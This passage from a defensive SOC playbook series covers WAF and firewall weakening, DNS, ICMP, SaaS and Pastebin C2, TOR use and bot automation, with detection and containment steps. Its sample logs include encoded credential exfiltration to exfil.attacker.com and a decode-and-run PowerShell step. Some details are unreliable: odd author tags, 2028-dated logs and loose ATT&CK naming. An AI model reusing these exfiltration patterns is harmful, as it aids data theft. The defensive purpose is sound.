SOC Ownership: IR Lead → AppSec → Cloud Security → Application Owners

Incident Type: Perimeter Control Compromise

2. Threat Description

The attacker **modifies, weakens or disables Web Application Firewall (WAF) rules** to allow malicious traffic to pass undetected.

Common malicious changes include:

- Disabling managed rule sets

- Switching rules from Block to Allow

- Adding overly broad allowlists

- Excluding sensitive endpoints from inspection

- Lowering anomaly thresholds

This creates a **silent entry point** for follow-on attacks.

3. Why This Detection Matters in 2026

In 2026:

- Applications are API-driven

- WAF is often the first line of defense

- Backend systems trust perimeter filtering

Attackers target WAF because:

- No malware required

- Changes look like tuning or optimisation

Follow-on attacks blend with normal traffic
SOC visibility is reduced indirectly

If WAF is weakened, **application security collapses quietly.**

4. Detection Logic

Trigger alert when:

WAF rules modified outside change window
Managed rule sets disabled
Block actions changed to Allow
New exclusions added for sensitive paths

Increase severity if:

Internet-facing production apps affected
Changes made by non-AppSec identity
WAF change followed by exploit attempts
Multiple rules modified rapidly

5. Log Data

WAF Configuration Log

2028-06-14 01:09:22 | WAF_UPDATE |

ruleSet=OWASP_Core | action=DISABLED

Rule Change

2028-06-14 01:10:01 | WAF_RULE |

rule=SQLi_942100 | mode=ALLOW

Clear indication of **intentional perimeter weakening.**

6. Possible Attack Scenarios

Scenario A – Pre-Exploitation

WAF weakened before SQL injection or RCE attack.

Scenario B – API Abuse Enablement

Rate-limit and bot rules disabled to allow scraping or abuse.

Scenario C – Stealth Persistence

WAF modified to allow attacker IP ranges permanently.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm WAF configuration change alert

L2 Analyst – Validate

Identify modified rules

Check change approval

IR Lead – Take Control

Questions to Answer

Which WAF rules were changed

Who made the change

Which applications are exposed

Was malicious traffic observed after

Decision

Unauthorised WAF modification → Defense Evasion Incident

8. Incident Escalation Criteria

Escalate immediately when:

Production or external apps affected

Critical protections disabled

Change linked to attack traffic

Notify:

Application security

Cloud security

Application owners

Management if customer impact possible

9. Containment Actions

Immediate Actions

Re-enable managed rule sets

Restore last known good WAF config

Block suspicious source IPs

Short-Term Actions

Restrict WAF admin permissions

Audit recent WAF changes

Review application logs for exploitation

Critical Note

Fix WAF first before investigating application compromise.

10. Recovery & Validation

Validate WAF ruleset integrity

Confirm blocking of malicious payloads

Monitor traffic patterns post-restore

Ensure change controls enforced

Recovery ensures **perimeter trust is restored**.

11. Prevention & Hardening

Control: WAF Governance

Action: Approval-based rule changes

Control: Monitoring

Action: Alert on WAF config drift

Control: Access Control

Action: Separate AppSec and admin roles

Control: Visibility

Action: Correlate WAF and app logs

12. Mapping to NIST Incident Response

Preparation: WAF baseline policy

Detection: Config change alert

Analysis: Exposure assessment

Containment: Rule restoration

Eradication: Access restriction

Recovery: Secure perimeter validation

Lessons Learned: WAF governance gaps

13. SOC Perspective

If the door alarm is disabled,
the break-in is next.

WAF changes are not tuning
until proven otherwise.

Protect the perimeter,
or everything behind it is fair game.

BYZIMMER

[DEFENSE EVASION] PLAYBOOK 72: FIREWALL RULES RELAXED

– OPENED ATTACK PATHS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-072

Use Case Name: Firewall Rules Relaxed

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1562.004

Technique Name: Disable Firewall

Threat Category: Network Defense Degradation

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Network Firewalls, Cloud Security Groups, Host-Based Firewalls

SOC Ownership: IR Lead → Network Security → Cloud Security → Infrastructure Owners

Incident Type: Perimeter and Internal Network Exposure

2. Threat Description

The attacker **modifies firewall policies** to allow previously blocked inbound, outbound or lateral traffic.

Typical malicious changes include:

- Opening management ports (RDP, SSH, WinRM)

- Allowing traffic from attacker-controlled IP ranges

- Disabling east-west segmentation

- Changing deny rules to allow

- Lowering inspection or logging levels

This creates **new attack paths** across the environment.

3. Why This Detection Matters in 2026

Firewalls remain one of the **last hard boundaries** in hybrid and cloud networks.

Attackers relax firewall rules because:

- It enables lateral movement without exploits

- It supports follow-on attacks (ransomware, data exfiltration)

- Changes look like operational troubleshooting

- Impact scales instantly

Once firewall controls are weakened, **network trust collapses**.

4. Detection Logic

Trigger alert when:

Firewall rules modified outside approved window
New allow rules added for sensitive ports
Security groups broadened significantly
Logging or inspection disabled

Increase severity if:

Rules affect production or Tier 0 assets
Changes originate from compromised identity
Multiple firewalls or security groups modified
Changes follow IAM or endpoint compromise

5. Log Data

Firewall Change Log

2028-06-19 02:34:18 | FW_RULE_UPDATE |

rule=Allow_RDP_Any | action=ENABLE

Cloud Security Group

2028-06-19 02:34:42 | SG_UPDATE |

port=3389 | source=0.0.0.0/0

Clear indicator of **intentional exposure**.

6. Possible Attack Scenarios

Scenario A – External Access Enablement

Firewall opened to allow attacker remote access.

Scenario B – Lateral Movement

Internal segmentation removed to spread malware.

Scenario C – Pre-Ransomware Staging

Firewall relaxed before mass encryption or exfiltration.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm firewall configuration change

L2 Analyst – Validate
Identify affected rules and scope
Check change approval

IR Lead – Take Control

Questions to Answer
Which rules were modified
Who made the change
What assets are exposed
Was traffic observed immediately after

Decision
Unauthorised firewall change → Crisis Incident

8. Incident Escalation Criteria

Always escalate when:

Sensitive ports opened broadly
Production or core network exposed
Change linked to malicious traffic

Notify immediately:

Network security leadership
Infrastructure owners
Executive management if business risk high

9. Containment Actions

Immediate Actions
Revert firewall rules to baseline
Block attacker IP ranges
Enable full logging

Short-Term Actions
Restrict firewall admin access
Audit all recent network changes
Monitor traffic for active exploitation

Critical Note
Do not investigate hosts until network exposure is closed.

10. Recovery & Validation

Verify firewall policy integrity
Confirm segmentation restored
Review logs for lateral movement
Test access paths explicitly

Recovery ensures **network boundaries are re-established.**

11. Prevention & Hardening

Control: Firewall Governance
Action: Approval-based rule changes

Control: Monitoring
Action: Alert on rule drift

Control: Access Control
Action: Limit firewall admin roles

Control: Segmentation
Action: Zero-trust network design

12. Mapping to NIST Incident Response

Preparation: Network baseline
Detection: Firewall change alert
Analysis: Exposure impact review
Containment: Rule restoration
Eradication: Access restriction
Recovery: Secure connectivity validation
Lessons Learned: Network change governance

13. SOC Perspective

Firewalls define trust.

If rules are relaxed,
trust is granted to the attacker.

Network security failures
are force multipliers for every other attack.

[COMMAND AND CONTROL] PLAYBOOK 73: DNS TXT EXFILTRATION – DATA EXFILTRATION OVER DNS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-073

Use Case Name: DNS TXT Exfiltration

MITRE ATT&CK Tactic: Command and Control

Technique ID: T1071.004

Technique Name: DNS

Threat Category: Covert Data Exfiltration / C2 over DNS

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Internal DNS, Recursive Resolvers, Cloud DNS

SOC Ownership: IR Lead → Network Security → SOC → Threat Intelligence

Incident Type: Stealth Data Exfiltration

2. Threat Description

Malware **encodes stolen data into DNS TXT records or subdomain queries** and sends them to attacker-controlled domains.

Because DNS is:

Always allowed

Rarely inspected deeply

Considered low-risk

It becomes a **covert tunnel for data theft**.

Typical data exfiltrated includes:

Credentials

API keys

Configuration files

Small database extracts

3. Why This Detection Matters in 2026

DNS-based exfiltration remains highly effective because:

TLS inspection does not see DNS payloads

Firewalls allow DNS by default

TXT records look legitimate
Traffic volume is low and slow

Attackers deliberately choose DNS to **bypass network controls silently**.

4. Detection Logic

Trigger alert when:

High volume of DNS TXT queries
Unusually long DNS labels
Base64-like encoded strings in queries
Repeated queries to rare or newly registered domains

Increase severity if:

Domain has low reputation or newly registered
DNS traffic coincides with endpoint compromise
DNS queries originate from servers or databases
Consistent beaconing intervals observed

5. Log Data

DNS Query Log

2028-06-22 01:51:18 | DNS_QUERY |

type=TXT | query=ZGF0YTpwYXNzd29yZHM=.exfil.attacker.com

Repeated Pattern

query=a2V5czp0b2tldg==.exfil.attacker.com

Clear indicator of **encoded data exfiltration via DNS**.

6. Possible Attack Scenarios

Scenario A – Credential Theft

Malware exfiltrates credentials after keylogging or dumping.

Scenario B – Database Sampling

Small chunks of sensitive data leaked periodically.

Scenario C – Stealth C2 Channel

DNS used both for command retrieval and data return.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm anomalous DNS TXT traffic

L2 Analyst – Validate
Decode suspicious payloads
Check domain reputation

IR Lead – Take Control

Questions to Answer
What data is being exfiltrated
Which host initiated DNS queries
How long exfiltration has occurred
Is C2 still active

Decision
DNS-based data exfiltration → Crisis Incident

8. Incident Escalation Criteria

Always escalate when:

Encoded DNS exfiltration confirmed
Sensitive systems involved
Persistent DNS C2 channel detected

Notify immediately:

Network security
Incident response
Legal and compliance if data involved

9. Containment Actions

Immediate Actions
Block attacker-controlled domains
Sinkhole DNS traffic
Isolate affected endpoints

Short-Term Actions
Reset exposed credentials
Review DNS logs historically
Deploy stricter DNS filtering

Critical Note
Blocking DNS alone does not remove malware.

10. Recovery & Validation

Verify no further suspicious DNS queries
Confirm malware eradication
Monitor DNS for recurrence
Assess data loss impact

Recovery includes **data exposure assessment**.

11. Prevention & Hardening

Control: DNS Monitoring
Action: Inspect TXT and long queries

Control: Threat Intelligence
Action: Block newly registered domains

Control: Network Security
Action: Egress DNS filtering

Control: Endpoint Security
Action: Detect DNS tunnelling behaviour

12. Mapping to NIST Incident Response

Preparation: DNS visibility baseline
Detection: DNS anomaly alert
Analysis: Payload decoding
Containment: Domain blocking
Eradication: Malware removal
Recovery: Data exposure handling
Lessons Learned: DNS security posture

13. SOC Perspective

If HTTPS is blocked,
attackers use DNS.

If DNS is trusted blindly,
data walks out quietly.

DNS is infrastructure.
Infrastructure **must be monitored**.

[COMMAND AND CONTROL] PLAYBOOK 74: ICMP TUNNELING – COVERT COMMAND AND CONTROL CHANNEL

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-074

Use Case Name: ICMP Tunneling

MITRE ATT&CK Tactic: Command and Control

Technique ID: T1095

Technique Name: Non-Application Layer Protocol

Threat Category: Covert C2 / Network Evasion

Severity (Default): High

Escalation Severity: Critical (if sustained or linked to data exfiltration)

Applies To: Enterprise Networks, Cloud VPCs, Perimeter Firewalls

SOC Ownership: IR Lead → Network Security → SOC → Threat Intelligence

Incident Type: Stealth Command-and-Control

2. Threat Description

The attacker **abuses ICMP traffic** (typically Echo Request/Reply) to tunnel command-and-control communications between compromised hosts and attacker infrastructure.

ICMP is often:

Allowed through firewalls

Lightly inspected

Trusted for diagnostics

Attackers embed payloads inside ICMP packets to:

Send commands

Receive responses

Exfiltrate small data chunks

This creates a **low-visibility control channel**.

3. Why This Detection Matters in 2026

ICMP tunneling persists because:

Many environments still allow ICMP broadly

Security teams prioritise HTTP/S monitoring

ICMP is considered “harmless”

In 2026, attackers combine ICMP with:

Endpoint malware
DNS or HTTP fallback channels
Firewall rule relaxation

ICMP C2 often signals **advanced evasion intent**.

4. Detection Logic

Trigger alert when:

High volume of ICMP traffic from endpoints
Unusually large ICMP payload sizes
Regular, periodic ICMP beacons
ICMP traffic to external or rare IPs

Increase severity if:

ICMP traffic persists over long periods
Payload entropy is high
ICMP coincides with endpoint compromise
ICMP used from servers or databases

5. Log Data

Network Flow Log

2028-06-26 02:22:14 | ICMP_ECHO |

src=10.10.7.23 | dst=185.199.110.24 | size=1024

Repeated Pattern

interval=30s | payload_entropy=high

Clear indicator of **ICMP-based tunnelling activity**.

6. Possible Attack Scenarios

Scenario A – Stealth C2

Malware uses ICMP to receive commands when HTTP is blocked.

Scenario B – Firewall Bypass

ICMP allowed while TCP/UDP restricted.

Scenario C – Fallback Channel

ICMP activated after DNS or HTTPS detection.

7. SOC Triage Workflow

L1 Analyst – Detect

Identify abnormal ICMP traffic patterns

L2 Analyst – Validate

Inspect packet sizes and frequency

Correlate with endpoint alerts

IR Lead – Take Control

Questions to Answer

Which host is generating ICMP

What destination IPs are used

Is payload encoded or structured

Is data exfiltration occurring

Decision

Confirmed ICMP tunneling → High-Risk C2 Incident

8. Incident Escalation Criteria

Escalate when:

ICMP tunneling confirmed

C2 commands observed

Traffic linked to malware execution

Notify:

Network security

Incident response

Threat intelligence team

9. Containment Actions

Immediate Actions

Block ICMP to external destinations

Isolate affected endpoints

Terminate malicious processes

Short-Term Actions

Harden firewall ICMP rules

Deploy IDS signatures

Review historical ICMP traffic

Critical Note

Blocking ICMP blindly may impact operations—coordinate carefully.

10. Recovery & Validation

Confirm ICMP traffic returns to baseline

Verify malware removal

Monitor for alternate C2 channels

Reassess network egress policies

Recovery focuses on **eliminating covert communication paths.**

11. Prevention & Hardening

Control: Network Policy

Action: Restrict ICMP usage

Control: Monitoring

Action: Alert on ICMP anomalies

Control: Endpoint Security

Action: Detect tunneling tools

Control: IDS/IPS

Action: Signature-based ICMP detection

12. Mapping to NIST Incident Response

Preparation: Network baseline

Detection: ICMP anomaly alert

Analysis: Packet inspection

Containment: Traffic blocking

Eradication: Malware removal

Recovery: Network policy enforcement

Lessons Learned: Egress control gaps

13. SOC Perspective

ICMP was built for diagnostics.

Attackers turned it into a tunnel.

If only applications are monitored,
networks become the blind spot.

Control the protocols,
or attackers will choose them for you.

BYZEMER

[COMMAND AND CONTROL] PLAYBOOK 75: SAAS C2 ABUSE – COMMAND AND CONTROL VIA TRUSTED WEB SERVICES

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-075

Use Case Name: SaaS C2 Abuse

MITRE ATT&CK Tactic: Command and Control

Technique ID: T1102.003

Technique Name: Web Services

Threat Category: Living-off-the-Cloud / Trusted Platform Abuse

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Collaboration Platforms, Cloud SaaS, Enterprise Productivity Tools

SOC Ownership: IR Lead → Cloud Security → SOC → Application Owners

Incident Type: Stealth Command-and-Control via Legitimate Services

2. Threat Description

The attacker **uses legitimate SaaS platforms as command-and-control channels** to communicate with compromised systems.

Common platforms abused include:

Messaging platforms

Collaboration tools

File-sharing and document services

Paste or note-taking services

Commands, payloads and exfiltrated data are hidden inside:

Messages

Comments

Files

Metadata fields

Traffic appears fully legitimate and encrypted.

3. Why This Detection Matters in 2026

SaaS C2 is highly effective because:

Domains are trusted and allowlisted

TLS inspection is ineffective

Blocking breaks business operations
Traffic blends perfectly with users

In 2026, attackers increasingly use **business platforms as infrastructure**.

SaaS C2 often enables:

Long dwell time
Low detection probability
Multi-stage attacks

4. Detection Logic

Trigger alert when:

Endpoints communicate with SaaS APIs outside normal apps
Non-browser processes access SaaS endpoints
Unusual API usage patterns
SaaS access from servers or service accounts

Increase severity if:

Traffic coincides with endpoint compromise
Data uploads to personal or external tenants
Automated, periodic communication patterns
SaaS access used as fallback after other C2 blocked

5. Log Data

Endpoint Network Log

2028-07-01 03:02:44 | HTTPS_CONN |

process=svc_host.exe | dest=collab-api.example.com

API Usage

POST /messages | payload_size=large | interval=5m

Clear indication of **non-human SaaS communication**.

6. Possible Attack Scenarios

Scenario A – Messaging-Based C2
Malware reads commands from chat messages.

Scenario B – Document Dead Drop

Commands stored in shared documents or comments.

Scenario C – Data Exfiltration

Sensitive data uploaded as attachments or edits.

7. SOC Triage Workflow

L1 Analyst – Detect

Identify abnormal SaaS communication

L2 Analyst – Validate

Check process and account legitimacy

Review API call patterns

IR Lead – Take Control

Questions to Answer

Which SaaS platform is abused

Which account or token is used

What data is exchanged

Is the channel still active

Decision

Confirmed SaaS-based C2 → Crisis Incident

8. Incident Escalation Criteria

Always escalate when:

SaaS C2 confirmed

Sensitive data transmitted

Multiple endpoints communicating

Notify immediately:

Cloud security

Application owners

Incident response leadership

Legal and compliance if data involved

9. Containment Actions

Immediate Actions

Revoke compromised SaaS tokens

Disable affected accounts
Block API access from endpoints

Short-Term Actions

Review SaaS audit logs
Restrict app integrations
Reset exposed credentials

Critical Note

Blocking SaaS domains entirely is rarely feasible.

10. Recovery & Validation

Confirm no abnormal SaaS traffic remains
Validate endpoint cleanliness
Audit SaaS tenant activity
Monitor for alternate C2 channels

Recovery requires **endpoint and identity remediation**.

11. Prevention & Hardening

Control: SaaS Governance
Action: Restrict third-party app access

Control: Endpoint Monitoring
Action: Alert on SaaS access by non-browser processes

Control: Identity Security
Action: Token lifecycle management

Control: Visibility
Action: Ingest SaaS audit logs into SIEM

12. Mapping to NIST Incident Response

Preparation: SaaS access baseline
Detection: API anomaly alert
Analysis: Traffic and account review
Containment: Token and account revocation
Eradication: Malware removal
Recovery: Controlled SaaS access restoration
Lessons Learned: SaaS security governance

13. SOC Perspective

When networks are blocked,
attackers use your tools.

When domains are trusted,
trust becomes the vulnerability.

SaaS is not just productivity.
It is now **attack infrastructure**.

BYZANTINE

[COMMAND AND CONTROL] PLAYBOOK 76: PASTEBIN BEACONING – DEAD-DROP COMMAND AND CONTROL

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-076

Use Case Name: Pastebin Beaconing

MITRE ATT&CK Tactic: Command and Control

Technique ID: T1102

Technique Name: Web Services

Threat Category: Dead-Drop C2 / Indirect Command Retrieval

Severity (Default): High

Escalation Severity: Critical (if persistent or combined with data exfiltration)

Applies To: Endpoints, Servers, Proxies, Secure Web Gateways

SOC Ownership: IR Lead → SOC → Network Security → Threat Intelligence

Incident Type: Stealth Command-and-Control

2. Threat Description

The attacker **uses Pastebin or similar public paste services** as a dead-drop C2 mechanism.

Instead of communicating directly with attacker infrastructure, malware:

- Periodically checks a paste URL

- Downloads encoded or obfuscated commands

- Executes instructions locally

- Optionally reports results via another channel

This indirect method **breaks traditional C2 detection logic**.

3. Why This Detection Matters in 2026

Dead-drop C2 remains popular because:

- Paste sites are widely allowlisted

- Content is encrypted over HTTPS

- Infrastructure attribution is difficult

- Commands can be updated without touching malware

In 2026, attackers combine Pastebin with:

DNS or ICMP fallback channels
SaaS-based exfiltration
Serverless persistence

Dead-drop C2 is **low noise and resilient**.

4. Detection Logic

Trigger alert when:

Endpoints repeatedly access paste services
Non-browser processes fetch paste URLs
Periodic polling behaviour detected
Encoded content retrieved from paste pages

Increase severity if:

Polling interval is regular and automated
Content decoded to executable commands
Paste access follows malware execution
Paste service used after other C2 blocked

5. Log Data

Proxy Log

2028-07-05 01:18:12 | HTTPS_GET |

process=svchost.exe | url=pastebin.com/raw/8fk92aQ

Endpoint Behaviour

interval=300s | action=decode_base64 | exec=powershell

Clear indicator of **dead-drop C2 behaviour**.

6. Possible Attack Scenarios

Scenario A – Low-Profile C2

Malware polls Pastebin for daily tasking.

Scenario B – Multi-Stage Control

Pastebin used only for command retrieval, not exfiltration.

Scenario C – Fallback Channel

Pastebin activated after primary C2 disrupted.

7. SOC Triage Workflow

L1 Analyst – Detect

Identify repeated access to paste services

L2 Analyst – Validate

Check process initiating requests

Inspect retrieved content

IR Lead – Take Control

Questions to Answer

Which host is polling Pastebin

What content is retrieved

How long beaconing has occurred

Is execution confirmed

Decision

Confirmed dead-drop C2 → High-Risk C2 Incident

8. Incident Escalation Criteria

Escalate when:

Automated polling confirmed

Commands executed from paste content

Multiple hosts affected

Notify:

SOC leadership

Incident response

Threat intelligence

9. Containment Actions

Immediate Actions

Block access to specific paste URLs

Isolate affected endpoints

Terminate malicious processes

Short-Term Actions

Deploy URL reputation controls

Review historical proxy logs

Hunt for similar patterns

Critical Note

Blocking entire paste domains may disrupt business users.

10. Recovery & Validation

Confirm no further paste access

Verify malware removal

Monitor for alternate C2 channels

Review egress filtering

Recovery ensures **C2 pathways are fully closed.**

11. Prevention & Hardening

Control: Web Filtering

Action: Inspect access to paste services

Control: Endpoint Detection

Action: Alert on non-browser web access

Control: Threat Intelligence

Action: Track known dead-drop URLs

Control: Network Monitoring

Action: Detect periodic polling patterns

12. Mapping to NIST Incident Response

Preparation: Web access baseline

Detection: Paste service anomaly alert

Analysis: Content decoding

Containment: URL and host blocking

Eradication: Malware removal

Recovery: Egress control enforcement

Lessons Learned: Web C2 blind spots

13. SOC Perspective

When attackers don't want to be seen,
they don't host servers.

They use public content
and let you fetch it.

Dead-drop C2 is quiet,
persistent,
and underestimated.

BYZEMER

[DEFENSE EVASION] PLAYBOOK 77: TOR CLIENT EXECUTION – ANONYMOUS COMMUNICATIONS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-077

Use Case Name: TOR Client Execution

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1090.003

Technique Name: Multi-hop Proxy

Threat Category: Anonymisation / Infrastructure Evasion

Severity (Default): Medium

Escalation Severity: High (if combined with C2, exfiltration or lateral movement)

Applies To: Endpoints, Servers, Proxies, Firewalls, EDR

SOC Ownership: SOC → IR → Network Security

Incident Type: Evasion / Anonymous C2 Preparation

2. Threat Description

An attacker **launches a TOR client or TOR-based component** on a compromised host to anonymise outbound communications.

Instead of connecting directly to attacker infrastructure, traffic is routed through:

Multiple TOR relays

Randomised exit nodes

Encrypted onion routing paths

This hides:

True destination

Attacker infrastructure

Geolocation and attribution

3. Why This Detection Matters in 2026

In 2026, TOR is rarely required for legitimate enterprise workloads.

Attackers use TOR to:

Evade IP reputation controls

Bypass geolocation-based alerts

Mask C2 infrastructure

Enable anonymous exfiltration

TOR execution is often a **preparatory step** before:

- C2 beaconing
- Data exfiltration
- Ransomware deployment

4. Detection Logic

Trigger alert when:

- TOR binaries executed (tor.exe, tor, obfsproxy)
- Unexpected SOCKS proxy creation
- Connections to known TOR entry nodes
- Processes spawning local proxy ports (9050, 9150)

Increase severity if:

- TOR launched by non-user process
- TOR follows malware execution
- TOR traffic observed outside business hours
- TOR combined with DNS/HTTP beaconing

5. Log Data

Endpoint Process Log

2028-07-05 02:41:09 | process_start |

parent=powershell.exe | image=tor.exe | user=svc-backup

Network Log

outbound_conn | dst_port=9001 | category=TOR

Strong indicator of **intentional anonymisation**.

6. Possible Attack Scenarios

Scenario A – Anonymous C2 Setup

TOR launched before malware contacts attacker servers.

Scenario B – Exfiltration Channel

Sensitive data exfiltrated through TOR exit nodes.

Scenario C – Ransomware Staging

TOR used to retrieve encryption keys or ransom instructions.

7. SOC Triage Workflow

L1 Analyst – Detect

Identify TOR binary execution or TOR traffic

L2 Analyst – Validate

Confirm process origin

Check user context and host role

IR Lead – Decide

Questions to Answer

Who launched TOR

What process triggered execution

Is TOR actively used for network traffic

What activity followed TOR launch

Decision

TOR confirmed on enterprise host → Suspicious Evasion

8. Incident Escalation Criteria

Escalate when:

TOR launched by malware or service account

TOR traffic actively flowing

TOR paired with C2 or exfiltration

Notify:

SOC leadership

Incident response

Network security

9. Containment Actions

Immediate Actions

Block TOR entry and exit nodes

Isolate affected endpoint if needed

Terminate TOR process

Short-Term Actions

Hunt for TOR usage across environment

Check proxy logs for similar patterns

Review egress controls

Business Consideration

Validate no legitimate TOR use cases exist.

10. Recovery & Validation

Remove TOR binaries

Reimage compromised host if required

Monitor for alternate anonymisation tools

Validate no further TOR traffic observed

Recovery confirms **loss of attacker anonymity**.

11. Prevention & Hardening

Control: Application Control

Action: Block TOR binaries

Control: Network Egress Filtering

Action: Restrict non-business protocols

Control: EDR Behavioural Detection

Action: Alert on local proxy creation

Control: SOC Monitoring

Action: Detect anonymisation tooling

12. Mapping to NIST Incident Response

Preparation: Egress baseline

Detection: TOR execution alert

Analysis: Process and traffic correlation

Containment: Block TOR traffic

Eradication: Remove binaries

Recovery: Validate clean state

Lessons Learned: Anonymous traffic gaps

13. SOC Perspective

TOR does not mean privacy in enterprise networks.

It usually means:

Someone is hiding

Something is coming next

Detect TOR early
and you stop the attack
before it accelerates.

BYZANTINE

[EXECUTION] PLAYBOOK 78: BROWSER AUTOMATION DETECTED – AUTOMATED FRAUD

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-078

Use Case Name: Browser Automation Detected

MITRE ATT&CK Tactic: Execution

Technique ID: T1059

Technique Name: Command Execution

Threat Category: Fraud Automation / Abuse

Severity (Default): High

Escalation Severity: Critical (if financial loss or account takeover observed)

Applies To: Web Applications, API, Endpoints, WAF, SIEM

SOC Ownership: SOC → Fraud Ops → IR

Incident Type: Automated Abuse / Fraud

2. Threat Description

Attackers deploy **automated browser frameworks** such as:

Selenium

Playwright

Puppeteer

These tools emulate real browsers to bypass traditional bot detection and perform actions at scale, including:

Credential stuffing

Account takeover attempts

Transaction abuse

Data scraping

Click fraud

Unlike simple bots, browser automation executes full JavaScript, renders pages and mimics human behaviour.

3. Why This Detection Matters in 2026

In 2026, fraud is **automation-driven**.

Attackers no longer rely on malware alone. They abuse:

Legitimate browsers
Headless frameworks
Residential proxies

This makes attacks:

Harder to detect
More scalable
Financially damaging

Browser automation often signals **active fraud operations**.

4. Detection Logic

Trigger alert when:

Unusual browser automation signatures detected
Headless browser indicators observed
High-velocity interactions with human-like timing
Identical workflows repeated across sessions

Increase severity if:

Multiple accounts affected
Transactions initiated
Session tokens reused
CAPTCHA bypass observed

5. Log Data

Web Access Log

2028-07-07 03:12:44 | POST /login |

user_agent=Mozilla/5.0 HeadlessChrome |

ip=185.xxx.xxx.xxx

Application Behaviour Log

sequence_repeat=login→balance→transfer |

rate=120 actions/minute

Strong indicator of **scripted browser automation**.

6. Possible Attack Scenarios

Scenario A – Automated Account Takeover

Thousands of accounts tested and accessed automatically.

Scenario B – Transaction Abuse

Bots initiate small transfers repeatedly to evade thresholds.

Scenario C – Scraping & Recon

Sensitive data scraped for resale or follow-on attacks.

7. SOC Triage Workflow

L1 Analyst – Detect

Identify headless browser patterns and abnormal workflows

L2 Analyst – Validate

Correlate sessions, IPs, devices and behaviour

IR / Fraud Team – Decide

Questions to Answer

Is behaviour human-possible

Is automation framework identified

Is financial impact occurring

Are accounts compromised

Decision

Confirmed automation → Fraud Incident

8. Incident Escalation Criteria

Escalate when:

Confirmed headless automation

Multiple victims affected

Monetary transactions observed

Bypass of security controls detected

Notify:

Fraud operations

Application security

SOC leadership

9. Containment Actions

Immediate Actions

- Block offending IPs and sessions
- Invalidate affected sessions
- Temporarily lock targeted accounts

Short-Term Actions

- Enable stricter bot controls
- Apply behavioural rate limiting
- Introduce step-up authentication

Business Consideration

- Balance fraud prevention with user experience.

10. Recovery & Validation

- Reset compromised credentials
- Reverse fraudulent transactions if possible
- Notify impacted users
- Monitor for re-automation attempts

Recovery success = no further automated flows detected.

11. Prevention & Hardening

- Control: Bot Management
- Action: Detect headless browsers

- Control: Behavioural Analytics
- Action: Identify non-human interaction patterns

- Control: MFA & Step-Up Auth
- Action: Trigger on risky behaviour

- Control: API & App Monitoring
- Action: Correlate user, device, behaviour

12. Mapping to NIST Incident Response

- Preparation: Bot baseline modelling
- Detection: Automation behaviour alert
- Analysis: Fraud pattern confirmation
- Containment: Session & account control
- Eradication: Block automation paths
- Recovery: Account restoration
- Lessons Learned: Fraud rule tuning

13. SOC Perspective

Browser automation means:

No malware

No exploit

Just abuse at scale

If it looks human
but moves too fast
it isn't.

Detect behaviour
not tools.

BYZZZMER

[EXECUTION] PLAYBOOK 79: HEADLESS BROWSER USAGE – BOT-DRIVEN ATTACKS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-079
Use Case Name: Headless Browser Usage
MITRE ATT&CK Tactic: Execution
Technique ID: T1059
Technique Name: Command Execution
Threat Category: Automated Bot Abuse
Severity (Default): High
Escalation Severity: Critical (if fraud, ATO or data loss observed)
Applies To: Web Applications, API Gateways, WAF, CDN, SIEM
SOC Ownership: SOC → AppSec → Fraud Ops
Incident Type: Automated Abuse / Bot Activity

2. Threat Description

Attackers use **headless browsers** such as:

Headless Chrome
Playwright (headless mode)
Puppeteer

These browsers:

Execute JavaScript fully
Render pages like real users
Bypass basic bot and signature checks

They are commonly used to automate:

Credential stuffing
Account takeover
Fraud workflows
Mass scraping
Click fraud

Unlike traditional bots, headless browsers intentionally mimic **human browsing patterns**.

3. Why This Detection Matters in 2026

In 2026:

Most fraud is **browser-based**, not malware-based
Attackers abuse legitimate browser stacks
Static bot rules are ineffective

Headless browser activity often indicates:

Organised fraud campaigns
Commercial bot frameworks
Active monetisation attempts

This is usually **not reconnaissance** – it is execution.

4. Detection Logic

Trigger alert when:

Headless browser fingerprints detected
Browser reports automation flags
JavaScript execution patterns repeat unnaturally
High-volume identical workflows observed

Increase severity if:

CAPTCHA bypass detected
Session reuse across IPs
Financial or account actions executed

5. Log Data

HTTP Header Log

User-Agent: Mozilla/5.0 (X11; Linux x86_64) HeadlessChrome/121.0

Client Behaviour Log

mouse_events=0

keypress_events=0

page_load_to_submit=320ms

Strong signal of **non-human interaction**.

6. Possible Attack Scenarios

Scenario A – Account Takeover

Headless browsers log in and change account details at scale.

Scenario B – Fraud Automation

Bots perform transactions, withdrawals or rewards abuse.

Scenario C – Scraping & Resale

Protected data scraped and sold externally.

7. SOC Triage Workflow

L1 Analyst – Detect

Identify headless UA strings and automation signals

L2 Analyst – Validate

Correlate behaviour across sessions, IPs and accounts

AppSec / Fraud – Decide

Key Questions

Is JavaScript behaviour human-like

Is timing physically possible

Is financial or account impact present

Decision

Confirmed headless activity → Abuse Incident

8. Incident Escalation Criteria

Escalate when:

Multiple victims affected

Automation persists after blocking

Fraud indicators present

Security controls bypassed

Notify:

Application Security

Fraud Operations

SOC Manager

9. Containment Actions

Immediate Actions

Block IPs and sessions

Invalidate tokens and cookies

Throttle request rates

Short-Term Actions

- Enable advanced bot detection
- Apply behavioural challenges
- Force step-up authentication

Avoid full IP bans if residential proxies suspected.

10. Recovery & Validation

- Reset compromised accounts
- Reverse fraudulent actions
- Notify affected users if required
- Monitor for reattempts

Recovery complete when:

- No headless indicators observed
- Normal user behaviour restored

11. Prevention & Hardening

- Control: Bot Management Platform
- Action: Detect headless browser signals

- Control: Behavioural Analytics
- Action: Measure timing, entropy, interaction depth

- Control: Risk-Based Auth
- Action: Step-up when automation suspected

- Control: API Correlation
- Action: Link browser and API abuse

12. Mapping to NIST Incident Response

- Preparation: Behavioural baselining
- Detection: Headless browser alert
- Analysis: Automation confirmation
- Containment: Session and access control
- Eradication: Bot path blocking
- Recovery: Account restoration
